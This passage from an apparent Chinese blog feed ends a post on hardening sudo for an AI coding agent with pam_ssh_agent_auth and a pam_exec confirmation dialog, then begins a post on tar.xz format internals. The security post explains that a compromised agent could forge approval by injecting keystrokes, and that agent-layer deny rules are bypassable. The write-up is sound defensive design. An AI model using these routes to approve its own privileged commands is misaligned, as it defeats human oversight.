&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;方案&lt;&#x2F;th&gt;&lt;th&gt;口令是否可被程序恢复&lt;&#x2F;th&gt;&lt;th&gt;每命令人工门&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;pass + askpass(现状)&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;是&lt;&#x2F;strong&gt;,磁盘上存在可解密的账户密码&lt;&#x2F;td&gt;&lt;td&gt;✅ 有(Enter&#x2F;Esc)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;pam_ssh_agent_auth&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;否&lt;&#x2F;strong&gt;,agent 是签名器,密钥不可提取&lt;&#x2F;td&gt;&lt;td&gt;❌ 无&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;pam_u2f(FIDO2 硬件)&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;否&lt;&#x2F;strong&gt;,密钥永不离 token&lt;&#x2F;td&gt;&lt;td&gt;✅ 有(物理按键)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;关键区别在&quot;无密码&quot;那一列:&lt;strong&gt;SSH 那套的精华是把私钥放在 agent 里,agent 只做签名,密钥材料不可提取&lt;&#x2F;strong&gt;——哪怕拿到 agent 的全部字节也恢复不出私钥。而 pass 方案是&quot;存密码、用密码&quot;,性质完全不同。这就是为什么最开始的直觉(gpg-agent + 带口令 SSH 密钥认证)方向是对的。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;wei-shen-me-pam-ssh-agent-auth-nan-jia-ren-gong-men&quot;&gt;为什么 pam_ssh_agent_auth 难加人工门&lt;&#x2F;h1&gt;
&lt;p&gt;你可能会想:那就在 pam_ssh_agent_auth 上叠一个人工确认门,每次 sudo 都弹个框。&lt;strong&gt;技术上可行,但门放哪才不被绕过才是症结&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;包一层 wrapper 无效&lt;&#x2F;strong&gt;:密钥已解锁时,&lt;code&gt;sudo&lt;&#x2F;code&gt; 直接走 PAM 认证成功,根本不会经过 wrapper;进程绕过 wrapper 直接执行 &lt;code&gt;sudo&lt;&#x2F;code&gt; 就行,门形同虚设。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;agent 是共享签名器,签名成功时没有提示点&lt;&#x2F;strong&gt;:任何进程都能请 agent 签名,agent 无从区分&quot;人批准的&quot;和&quot;进程自发的&quot;。sudo 又没有&quot;按 y 确认&quot;这种概念——它唯一的门就是认证提示。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;pam_ssh_agent_auth 内部没有&quot;必须确认&quot;选项&lt;&#x2F;strong&gt;:它只在 agent 无匹配密钥时才回退到密码对话(此时要的门是反向的)。&lt;code&gt;ssh-add -c&lt;&#x2F;code&gt; 的确认约束也只对 OpenSSH 的 ssh-agent 生效,gpg-agent 不实现。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;zhen-neng-zai-pam-ceng-gei-chu-ren-gong-men-de-san-chong-fang-shi&quot;&gt;真能在 PAM 层给出人工门的三种方式&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;方式&lt;&#x2F;th&gt;&lt;th&gt;门是什么&lt;&#x2F;th&gt;&lt;th&gt;能否绕过&lt;&#x2F;th&gt;&lt;th&gt;代价&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;gpg-agent &lt;code&gt;default-cache-ttl-ssh 0&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;每次签名弹 pinentry 重输密钥口令&lt;&#x2F;td&gt;&lt;td&gt;不能(agent 拒绝无口令签名)&lt;&#x2F;td&gt;&lt;td&gt;每次都要敲口令,且影响所有 SSH 签名(含 ssh 登录)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;自写 PAM 模块 &#x2F; &lt;code&gt;pam_exec&lt;&#x2F;code&gt; 弹窗&lt;&#x2F;td&gt;&lt;td&gt;弹 yad 确认框&lt;&#x2F;td&gt;&lt;td&gt;可被注入 Enter 伪造(软件&quot;声称有人确认&quot;)&lt;&#x2F;td&gt;&lt;td&gt;对话框对&quot;人的 sudo&quot;也生效,要处理显示路由&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;pam_u2f(FIDO2 硬件)&lt;&#x2F;td&gt;&lt;td&gt;物理按键,由硬件验证&lt;&#x2F;td&gt;&lt;td&gt;不能&lt;&#x2F;td&gt;&lt;td&gt;需硬件,远程&#x2F;waypipe 场景别扭&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;dan-chuang-men-vs-u2f-jiao-hu-deng-jia-xing-zhi-bu-tong&quot;&gt;弹窗门 vs U2F:交互等价,性质不同&lt;&#x2F;h2&gt;
&lt;p&gt;交互上两者都是&quot;每次 sudo 要人做一个物理动作&quot;。区别在&lt;strong&gt;谁能验证&quot;这是人做的&quot;&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;弹窗 Enter:恶意进程可以用 &lt;code&gt;ydotool&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;wtype&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;xdotool&lt;&#x2F;code&gt; 注入按键,sudo 收到的只是&quot;一次按键事件&quot;,分不清是人按的还是程序按的。门是&lt;strong&gt;软件声称有人确认了&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;U2F 触摸:FIDO2 的&quot;用户在场&quot;检查发生在硬件 token 内部,没按实体键 token 就拒绝签名,user-presence 位由硬件置位,软件注入任何事件都无效。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;所以差异不在交互,而在**&quot;人&quot;这个字的验证方是软件还是硬件**。如果你的威胁模型是&quot;机器上可能有恶意进程&#x2F;被攻陷的 agent 会自己批准对话框&quot;,只有 U2F 这种硬件验证才算真门;如果只是&quot;合法 agent 需要我每次确认&quot;,弹窗门够了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;she-qu-zen-me-kan-pam-ssh-agent-auth&quot;&gt;社区怎么看 pam_ssh_agent_auth&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;本质是&quot;密钥持有的免密 sudo&quot;,设计意图是&quot;能用 SSH 密钥登录就有权 sudo&quot;(自动化&#x2F;Ansible 场景),不是&quot;每命令确认&quot;。多数安全向讨论把它归入与 NOPASSWD 同类,属便捷而非安全机制。&lt;&#x2F;li&gt;
&lt;li&gt;固有弱点:agent 是共享签名器,同一会话任何进程(包括被攻陷的模型)都能请它签名。&lt;&#x2F;li&gt;
&lt;li&gt;真正需要&quot;每命令人工批准 + 无秘密落盘&quot;的场景,社区的落地方案就是 askpass 对话框 + 密码保管库(pass&#x2F;1Password&#x2F;KeePass),或 FIDO2 硬件。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;zui-zhong-fang-an-pam-ssh-agent-auth-pam-exec-que-ren-men&quot;&gt;最终方案:pam_ssh_agent_auth + pam_exec 确认门&lt;&#x2F;h1&gt;
&lt;p&gt;结合需求与可行性,选定:&lt;strong&gt;PAM 栈里在 &lt;code&gt;pam_ssh_agent_auth&lt;&#x2F;code&gt; 前面叠一个 &lt;code&gt;pam_exec&lt;&#x2F;code&gt; 确认门&lt;&#x2F;strong&gt;。不写 C 模块、不换 agent(gpg-agent 继续当唯一的 ssh-agent),并用 &lt;code&gt;SUDO_ASKPASS&lt;&#x2F;code&gt; 环境变量区分 agent 调用和人工终端调用,人工的 sudo 保持原有密码体验。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jia-gou&quot;&gt;架构&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;sudo(agent) ──&amp;gt; PAM
   ① pam_exec 确认门(仅当 SUDO_ASKPASS 已设置 → 弹 yad:Enter=放行&amp;#x2F;Esc=拒绝)
   ② pam_ssh_agent_auth(gpg-agent 里的 auth 子钥签名;密钥不可提取)
   ③ common-auth 密码回退(仅人工终端 sudo 走这里,密钥缺省时兜底)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;密钥路径下 &lt;strong&gt;pass 里的 sudo 密码整个移除&lt;&#x2F;strong&gt;,磁盘上没有任何可恢复口令;账户密码只留在 &lt;code&gt;&#x2F;etc&#x2F;shadow&lt;&#x2F;code&gt;(哈希,不可恢复)。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ju-ti-pei-zhi&quot;&gt;具体配置&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;1-an-zhuang-mo-kuai&quot;&gt;1. 安装模块&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install libpam-ssh-agent-auth
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;2-deng-ji-shou-quan-gong-yao-yong-gpg-agent-li-xian-you-de-auth-zi-yao&quot;&gt;2. 登记授权公钥(用 gpg-agent 里现有的 auth 子钥)&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ssh-add -L                        # 从 gpg-agent 列出 ssh 公钥
sudo mkdir -p &amp;#x2F;etc&amp;#x2F;pam_ssh_agent_auth.d
sudo install -m 644 &amp;lt;上面列出的公钥&amp;gt; &amp;#x2F;etc&amp;#x2F;pam_ssh_agent_auth.d&amp;#x2F;peter
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;3-etc-pam-d-sudo-zai-include-common-auth-qian-cha-ru-liang-xing&quot;&gt;3. &lt;code&gt;&#x2F;etc&#x2F;pam.d&#x2F;sudo&lt;&#x2F;code&gt;(在 &lt;code&gt;@include common-auth&lt;&#x2F;code&gt; 前插入两行)&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;auth    required     pam_exec.so quiet &amp;#x2F;usr&amp;#x2F;local&amp;#x2F;libexec&amp;#x2F;sudo-confirm
auth    sufficient   pam_ssh_agent_auth.so file=&amp;#x2F;etc&amp;#x2F;pam_ssh_agent_auth.d&amp;#x2F;$USER
@include common-auth
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;4-etc-sudoers-d-ssh-agent-auth-rang-zhe-xie-huan-jing-bian-liang-jin-pam&quot;&gt;4. &lt;code&gt;&#x2F;etc&#x2F;sudoers.d&#x2F;ssh-agent-auth&lt;&#x2F;code&gt;(让这些环境变量进 PAM)&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;Defaults env_keep += &amp;quot;SSH_AUTH_SOCK SUDO_ASKPASS DISPLAY WAYLAND_DISPLAY XAUTHORITY XDG_RUNTIME_DIR&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;5-que-ren-men-jiao-ben-usr-local-libexec-sudo-confirm&quot;&gt;5. 确认门脚本 &lt;code&gt;&#x2F;usr&#x2F;local&#x2F;libexec&#x2F;sudo-confirm&lt;&#x2F;code&gt;&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;#!&amp;#x2F;bin&amp;#x2F;sh
# 只有 agent 路径(SUDO_ASKPASS 已设置)才弹确认框;人工终端 sudo 直接放行
[ -n &amp;quot;$SUDO_ASKPASS&amp;quot; ] || exit 0

if &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;yad --title=&amp;quot;sudo 授权请求 [$(hostname)]&amp;quot; \
       --text=&amp;quot;确认授权本次 sudo 操作？&amp;quot; \
       --button=&amp;quot;允许:0&amp;quot; --button=&amp;quot;取消:1&amp;quot; --center 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null; then
    exit 0
else
    exit 1
fi
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;6-dou-di-du-si-pass-xie-lou-lu-jing&quot;&gt;6. 兜底:堵死 pass 泄漏路径&lt;&#x2F;h3&gt;
&lt;p&gt;把 &lt;code&gt;&#x2F;usr&#x2F;local&#x2F;libexec&#x2F;sudo-askpass&lt;&#x2F;code&gt; 改成&quot;永不输出密码&quot;(密钥路径下 askpass 根本不会被调用,这里只是防止密钥缺失时兜底回退到 pass):&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;#!&amp;#x2F;bin&amp;#x2F;sh
exit 1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可选再加 &lt;code&gt;pass rm sudo&lt;&#x2F;code&gt; 删掉口令,双保险。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xing-wei-yan-zheng&quot;&gt;行为验证&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;场景&lt;&#x2F;th&gt;&lt;th&gt;行为&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;人工终端 &lt;code&gt;sudo ...&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;无弹窗,密码提示,5 分钟缓存照旧&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;agent &lt;code&gt;SUDO_ASKPASS=... sudo -A -k ...&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;每次弹确认框,Enter 放行 &#x2F; Esc 拒绝&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;密钥未加载时 agent sudo&lt;&#x2F;td&gt;&lt;td&gt;确认框后 pam_ssh_agent_auth 失败→askpass 拒绝→sudo 失败(fail-closed)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;luo-di-qian-yao-shi-ce-de-liang-ge-dian&quot;&gt;落地前要实测的两个点&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;yad 以 root 跑在用户显示上&lt;&#x2F;strong&gt;:&lt;code&gt;pam_exec&lt;&#x2F;code&gt; 默认以 root 运行,Wayland&#x2F;X 的 socket root 一般能连,但要在机器上实测一次。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;file=...$USER&lt;&#x2F;code&gt; 展开&lt;&#x2F;strong&gt;:若模块版本不展开变量,改成硬编码路径 &lt;code&gt;&#x2F;etc&#x2F;pam_ssh_agent_auth.d&#x2F;peter&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;yuan-cheng-waypipe-chang-jing&quot;&gt;远程(waypipe)场景&lt;&#x2F;h2&gt;
&lt;p&gt;远程机的 PAM 栈需要拿到本地的 agent:&lt;code&gt;waypipe --no-gpu ssh -A -t server &#x27;env SUDO_ASKPASS=... sudo -A cmd&#x27;&lt;&#x2F;code&gt;——&lt;code&gt;-A&lt;&#x2F;code&gt; 做 agent 转发,远程签名请求回到本地 gpg-agent,确认框经转发的显示弹在本地屏幕。注意:agent 转发也意味着远程机能用你的密钥,按需权衡。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;bei-xuan-fang-an&quot;&gt;备选方案&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;gpg-agent &lt;code&gt;default-cache-ttl-ssh 0&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;:零新增文件,但每次 SSH 签名(包括 ssh 登录)都要重输口令,全局影响。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;pam_u2f(FIDO2 硬件)&lt;&#x2F;strong&gt;:密钥永不离 token、物理按键由硬件验证,是&quot;非绕过人工门&quot;的终极答案;代价是需硬件,远程场景 token 要在目标机上或做 U2F 转发。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;旧 pass 方案的残余风险是真实的:&lt;strong&gt;口令在磁盘上、能被程序恢复&lt;&#x2F;strong&gt;,deny 规则只是 opencode 层的保护且可绕过;结构性原因是&quot;同一用户 = 同一权限&quot;,无法造&quot;自己能读、恶意进程不能读&quot;的秘密。&lt;&#x2F;li&gt;
&lt;li&gt;两个威胁要分开:对话框门防&quot;未同意静默 sudo&quot;,防不了&quot;偷走可复用密码&quot;;后者只能靠&lt;strong&gt;无密码&lt;&#x2F;strong&gt;——签名器(pam_ssh_agent_auth)或硬件(pam_u2f)。&lt;&#x2F;li&gt;
&lt;li&gt;sudo 没有原生公钥认证,只能靠 PAM 模块换认证因子。&lt;&#x2F;li&gt;
&lt;li&gt;pam_ssh_agent_auth 加人工门技术上可行,但 agent 是共享签名器、无提示点,弹窗门可被注入按键伪造;要&quot;非绕过门&quot;只能靠 U2F 硬件。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;最终方案&lt;&#x2F;strong&gt;:&lt;code&gt;pam_exec&lt;&#x2F;code&gt; 确认门 + &lt;code&gt;pam_ssh_agent_auth&lt;&#x2F;code&gt;,用 &lt;code&gt;SUDO_ASKPASS&lt;&#x2F;code&gt; 区分 agent 与人工路径,密钥不可提取、每次 agent 的 sudo 都弹确认框,并移除 pass 里的 sudo 口令。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>tar.xz 深潜：格式、随机访问与导航解压提速实测</title>
        <published>2026-08-10T16:05:57+08:00</published>
        <updated>2026-08-11T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/08/tar-xz-format-and-random-access/"/>
        <id>https://vercel.juzhong.asia/2026/08/tar-xz-format-and-random-access/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/08/tar-xz-format-and-random-access/">&lt;h2 id=&quot;bei-jing&quot;&gt;背景&lt;&#x2F;h2&gt;
&lt;p&gt;排查过程中遇到两个真实问题：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;两个 &lt;code&gt;.tar.xz&lt;&#x2F;code&gt; 包解压后，一个多出一个 &lt;code&gt;.&lt;&#x2F;code&gt; 目录、所有内容都在里面；另一个直接散开。&lt;&#x2F;li&gt;
&lt;li&gt;经常要从一个很大的 &lt;code&gt;.tar.xz&lt;&#x2F;code&gt; 里读取固定的 &lt;code&gt;wfuzz-package.json&lt;&#x2F;code&gt;，但不想每次全量解压。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;这两个问题分别指向 &lt;strong&gt;tar 的路径&#x2F;成员顺序语义&lt;&#x2F;strong&gt; 和 &lt;strong&gt;xz 容器的块结构是否支持导航（随机访问）&lt;&#x2F;strong&gt;。本文把两条线都讲透，并给出实测数据。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;更新说明：本文经过多轮实测反复修订。两处关键纠错：(1) 原&quot;纯 tar 末尾成员必须解压整个流&quot;——实际 GNU tar 在可 seek 普通文件上用 &lt;code&gt;lseek&lt;&#x2F;code&gt; 跳过数据，纯 tar 找末尾成员几乎免费（见 1.4 节）；(2) 原&quot;tar.xz 中文件在开头，&lt;code&gt;tar -xOf&lt;&#x2F;code&gt; 流式天然很快&quot;——实际 &lt;strong&gt;&lt;code&gt;tar -xOf&lt;&#x2F;code&gt; 在压缩流上从不提前退出&lt;&#x2F;strong&gt;，无论位置&#x2F;块数都解压整个流（见 1.4 节），头部提速要靠自定义早停读取器（见 1.5 节）。另补充：成员顺序实测（子目录乱序）、tar 头校验和验证、硬链接判重（dev+inode）、wfuzz-db&quot;目标不在最后一块&quot;反例、json 最前打包方案等。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;yi-tar-ge-shi-shun-xu-ci-dai-gui-dang-wu-suo-yin&quot;&gt;一、tar 格式：顺序磁带归档，无索引&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;1-1-cun-chu-jie-gou&quot;&gt;1.1 存储结构&lt;&#x2F;h3&gt;
&lt;p&gt;tar（Tape Archive）设计之初就是给磁带用的——&lt;strong&gt;纯顺序写入，从头到尾只有一种元素：&lt;code&gt;512B 头 + 数据&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;+---------+--------+---------+--------+---------+--------+------+
| 512B头  | 数据A  | 512B头  | 数据B  | 512B头  | 数据C  | 2*512B 全零块
+---------+--------+---------+--------+---------+--------+------+
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;每个头里记录：文件名（100 字节）、大小（八进制，偏移 124 起的 12 字节）、权限、mtime、类型（普通文件&#x2F;目录&#x2F;软链…）、&lt;strong&gt;校验和&lt;&#x2F;strong&gt;（偏移 148-155 的 8 字节，见 3.2 节）。&lt;&#x2F;p&gt;
&lt;p&gt;关键特性：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;没有索引&#x2F;目录表&lt;&#x2F;strong&gt;：想知道某个文件在哪，必须从头把前面的头一个个解析过去。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;没有压缩&lt;&#x2F;strong&gt;：tar 只是打包，压缩靠外层工具（xz&#x2F;gzip&#x2F;zstd）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;数据长度可推导&lt;&#x2F;strong&gt;：&lt;code&gt;文件数据区 = 头 + ceil(大小&#x2F;512)*512&lt;&#x2F;code&gt;，因此可以&lt;strong&gt;顺序跳读&lt;&#x2F;strong&gt;到下一个文件，但不能&lt;strong&gt;随机跳读&lt;&#x2F;strong&gt;到任意文件（不知道偏移）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;目录也是条目&lt;&#x2F;strong&gt;：目录以 &lt;code&gt;typeflag=&#x27;5&#x27;&lt;&#x2F;code&gt;、size=0 的头存储，用于还原目录权限与时间戳。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;1-2-lu-jing-qian-zhui-yu-cheng-yuan-shun-xu-mu-lu-zhi-mi-de-gen-yuan&quot;&gt;1.2 路径前缀与成员顺序：&lt;code&gt;.目录&lt;&#x2F;code&gt; 之谜的根源&lt;&#x2F;h3&gt;
&lt;p&gt;归档里的成员名是&lt;strong&gt;打包时写入的原始路径&lt;&#x2F;strong&gt;，解压方基本原样还原：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;打包命令&lt;&#x2F;th&gt;&lt;th&gt;存储的成员名&lt;&#x2F;th&gt;&lt;th&gt;备注&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;cd dir &amp;amp;&amp;amp; tar -cf a.tar *&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;file1&lt;&#x2F;code&gt;、&lt;code&gt;sub&#x2F;&lt;&#x2F;code&gt;、&lt;code&gt;sub&#x2F;f3&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;无 &lt;code&gt;.&#x2F;&lt;&#x2F;code&gt; 前缀&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;tar -cf a.tar -C dir .&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;.&#x2F;&lt;&#x2F;code&gt;、&lt;code&gt;.&#x2F;file1&lt;&#x2F;code&gt;、&lt;code&gt;.&#x2F;sub&#x2F;&lt;&#x2F;code&gt;…&lt;&#x2F;td&gt;&lt;td&gt;带 &lt;code&gt;.&#x2F;&lt;&#x2F;code&gt; 前缀，且多了 &lt;code&gt;.&lt;&#x2F;code&gt; 条目&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;同一个 GNU tar 解压两者结果完全一致&lt;&#x2F;strong&gt;（实测 &lt;code&gt;diff -r&lt;&#x2F;code&gt; 无差异），因为 GNU tar 解压时会剥掉开头的 &lt;code&gt;.&#x2F;&lt;&#x2F;code&gt;。你看到&quot;&lt;code&gt;.目录&lt;&#x2F;code&gt;&quot;通常是因为&lt;strong&gt;解压工具不剥离 &lt;code&gt;.&#x2F;&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;（如 bsdtar&#x2F;libarchive、7-Zip、WinRAR 等按原始路径还原）。&lt;&#x2F;p&gt;
&lt;p&gt;更隐蔽的是&lt;strong&gt;成员顺序&lt;&#x2F;strong&gt;。实测（创建序 zz→aa，与字母序、哈希序分别对比）：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;cd dir &amp;amp;&amp;amp; tar -cf a.tar *&lt;&#x2F;code&gt;：&lt;strong&gt;顶层&lt;&#x2F;strong&gt;由 shell glob 展开，按字母序 → 确定、可移植。&lt;&#x2F;li&gt;
&lt;li&gt;但&lt;strong&gt;子目录内部是乱序的&lt;&#x2F;strong&gt;！实测 &lt;code&gt;sub&#x2F;&lt;&#x2F;code&gt; 内顺序 &lt;code&gt;xx zz aa bb mm yy&lt;&#x2F;code&gt;，既非字母序也非创建序——tar 递归进子目录后由它自己 &lt;code&gt;readdir()&lt;&#x2F;code&gt; 遍历，得到的是&lt;strong&gt;文件系统内部顺序&lt;&#x2F;strong&gt;（ext4 h-tree 按文件名哈希排序，哈希种子是 mkfs 时随机生成的）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;tar -C dir .&lt;&#x2F;code&gt;：连顶层也是 readdir 序，整体都不可预测。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;实测对比（同一份数据）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;顶层(glob字母序):      afile bfile cfile sub&amp;#x2F;
sub&amp;#x2F; 内(tar 实际序):   xx.txt zz.txt aa.txt bb.txt mm.txt yy.txt
字母序应为:            aa.txt bb.txt mm.txt xx.txt yy.txt zz.txt
创建序应为:            zz.txt yy.txt xx.txt mm.txt aa.txt bb.txt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;结论：方法 B（readdir 序）不是随机，而是&quot;实现相关、不可预测、不可依赖&quot;；方法 A 只有顶层字母序。想让包括子目录在内全部有序，唯一方式是 &lt;code&gt;tar --sort=name&lt;&#x2F;code&gt;（GNU tar 1.28+）。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-3-zhong-fu-gui-dang-yu-ying-lian-jie-tar-an-dev-inode-pan-zhong&quot;&gt;1.3 重复归档与硬链接：tar 按 dev+inode 判重&lt;&#x2F;h3&gt;
&lt;p&gt;显式参数 + 通配&#x2F;目录遍历&lt;strong&gt;重复指定同一文件&lt;&#x2F;strong&gt;时（如 &lt;code&gt;tar -cf x.tar wfuzz-package.json *&lt;&#x2F;code&gt;、&lt;code&gt;tar -cf x.tar -C d wfuzz-package.json .&lt;&#x2F;code&gt;），tar 不会报错、不会重复存数据，而是把第二次出现存成&lt;strong&gt;硬链接指向第一次的名字&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;-rw-  wfuzz-package.json
...   .&amp;#x2F;data.txt ...
hrw-  .&amp;#x2F;wfuzz-package.json 连接到 wfuzz-package.json   ← 硬链接自引用
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;判重依据是 &lt;code&gt;dev + inode&lt;&#x2F;code&gt;，不是名字&lt;&#x2F;strong&gt;。两个对照实验证明：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;同 inode 不同名&lt;&#x2F;strong&gt;（&lt;code&gt;ln a b&lt;&#x2F;code&gt; 硬链接）：&lt;code&gt;tar -cf A.tar a b&lt;&#x2F;code&gt; → &lt;code&gt;b 连接到 a&lt;&#x2F;code&gt;（判重）✓&lt;&#x2F;li&gt;
